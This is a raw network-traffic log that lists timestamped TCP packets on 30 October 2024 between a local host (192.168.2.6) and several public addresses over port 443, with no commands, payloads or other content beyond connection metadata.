Oct 30, 2024 15:59:14.077115059 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.077131987 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.077147007 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.077267885 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.077296019 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.077299118 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.077313900 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.077403069 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.077414989 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.077438116 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.077451944 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.085129023 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.085789919 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.086007118 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.086042881 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.086042881 CET	49754	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.086055040 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.086064100 CET	443	49754	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.092515945 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.092550039 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.092680931 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.093303919 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.093318939 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.135272026 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.148619890 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.149082899 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.149091005 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.154388905 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.154515028 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.154520988 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.156049013 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.156524897 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.156536102 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.164664030 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.164834023 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.164855003 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.165170908 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.165313005 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.165326118 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.165332079 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.165416956 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.165424109 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.212620020 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.266335964 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.268574953 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.268744946 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.268768072 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.271507978 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.271631002 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.271637917 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.273190975 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.273344040 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.273350954 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.281713963 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.281730890 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.281759977 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.281789064 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.281800032 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.281838894 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.282113075 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.282160997 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.282166958 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.283643007 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.383686066 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.388420105 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.388453960 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.388519049 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.388535023 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.388585091 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.390256882 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.390491009 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.390538931 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.390544891 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.390575886 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.390619993 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.397346020 CET	49750	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:14.397365093 CET	443	49750	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:14.807574034 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.808518887 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.808538914 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.809160948 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.809168100 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.816643953 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.817979097 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.818001986 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.819310904 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.819322109 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.823616982 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.824059010 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.824073076 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.825135946 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.825140953 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.842376947 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.842842102 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.842858076 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.843487978 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.843492985 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.901653051 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:14.901679039 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:14.901770115 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:14.903763056 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:14.903776884 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:14.938294888 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.938393116 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.938462019 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.938761950 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.938780069 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.938791037 CET	49758	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.938796997 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.942466021 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.942497015 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.942589045 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.942770004 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.942787886 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.944053888 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.944447041 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.944505930 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.944535971 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.944550037 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.944561005 CET	49760	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.944571018 CET	443	49760	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.947063923 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.947101116 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.947277069 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.947319031 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.947328091 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.975070000 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.975523949 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.975621939 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.975661039 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.975675106 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.975684881 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.975688934 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.979243040 CET	49769	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.979273081 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.979360104 CET	49769	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.979559898 CET	49769	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.979576111 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.988714933 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.988784075 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.988893986 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.988997936 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.988997936 CET	49759	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.989012003 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.989021063 CET	443	49759	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.991987944 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.992012978 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:14.992208958 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.992229939 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:14.992233992 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.674343109 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.674896955 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.674923897 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.675479889 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.675493002 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.686132908 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.686711073 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.686724901 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.687215090 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.687222958 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.736253023 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.736747026 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.736758947 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.737293005 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.737298965 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.742613077 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.742980003 CET	49769	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.742996931 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.743408918 CET	49769	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.743415117 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.810031891 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.810091972 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.810174942 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.810390949 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.810408115 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.810421944 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.810430050 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.813309908 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.813347101 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.813478947 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.813632965 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.813641071 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.817033052 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.817281008 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.817353964 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.817569971 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.817569971 CET	49768	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.817585945 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.817598104 CET	443	49768	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.819988966 CET	49773	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.820009947 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.820125103 CET	49773	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.820199966 CET	49773	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.820205927 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.827297926 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:15.827395916 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:15.829029083 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:15.829034090 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:15.829272985 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:15.867265940 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.867487907 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.867547035 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.869080067 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:15.877955914 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.877955914 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.877970934 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.877981901 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.878489971 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.878699064 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.878767014 CET	49769	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.879636049 CET	49769	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.879659891 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.879667997 CET	49769	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.879678011 CET	443	49769	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.891856909 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.891889095 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.891944885 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.892488003 CET	49775	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.892508984 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.892813921 CET	49775	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.893234015 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.893246889 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.893388033 CET	49775	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:15.893403053 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:15.901281118 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:15.947335005 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.206185102 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.206209898 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.206218958 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.206233025 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.206260920 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.206310034 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:16.206321955 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.206346035 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:16.206367970 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:16.206938028 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.207017899 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:16.207026958 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.214931965 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.214987040 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:16.218679905 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:16.218691111 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.218707085 CET	49766	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:16.218712091 CET	443	49766	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:16.466165066 CET	49778	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:16.466182947 CET	443	49778	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:16.466264009 CET	49778	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:16.466535091 CET	49778	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:16.466542006 CET	443	49778	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:16.549972057 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.550585985 CET	49773	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.550605059 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.551126003 CET	49773	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.551131010 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.576623917 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.577043056 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.577069044 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.577491999 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.577497959 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.640331984 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.641149998 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.641165972 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.641784906 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.641793013 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.644373894 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.644824982 CET	49775	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.644838095 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.645298958 CET	49775	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.645303965 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.718864918 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.719078064 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.719095945 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.719161987 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.719228029 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.719244003 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.719254017 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.719259024 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.719511032 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.719687939 CET	49773	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.719711065 CET	49773	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.719711065 CET	49773	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.719719887 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.719727993 CET	443	49773	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.723115921 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.723148108 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.723186016 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.723201990 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.723217010 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.723371983 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.723407030 CET	49779	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.723422050 CET	443	49779	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.723553896 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.723565102 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.772617102 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.772703886 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.772789001 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.772988081 CET	49774	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.773000002 CET	443	49774	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.775424004 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.775443077 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.775510073 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.775655031 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.775665998 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.783293962 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.783694983 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.783747911 CET	49775	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.783793926 CET	49775	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.783801079 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.783813953 CET	49775	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.783819914 CET	443	49775	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.786108971 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.786122084 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.786179066 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.786355972 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:16.786360025 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:16.852442026 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:16.852469921 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:16.852547884 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:16.853605032 CET	49784	443	192.168.2.6	184.28.90.27
Oct 30, 2024 15:59:16.853620052 CET	443	49784	184.28.90.27	192.168.2.6
Oct 30, 2024 15:59:16.916600943 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:16.916613102 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:16.916743994 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:16.916919947 CET	49786	443	192.168.2.6	142.250.184.238
Oct 30, 2024 15:59:16.916934013 CET	443	49786	142.250.184.238	192.168.2.6
Oct 30, 2024 15:59:17.337898016 CET	443	49778	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:17.338268042 CET	49778	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:17.338278055 CET	443	49778	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:17.338570118 CET	443	49778	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:17.338901997 CET	49778	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:17.338954926 CET	443	49778	142.250.186.68	192.168.2.6
Oct 30, 2024 15:59:17.380542994 CET	49778	443	192.168.2.6	142.250.186.68
Oct 30, 2024 15:59:17.465488911 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.466310024 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.466320992 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.466756105 CET	49780	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.466761112 CET	443	49780	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.524784088 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:17.525382996 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:17.525392056 CET	443	49782	13.107.246.45	192.168.2.6
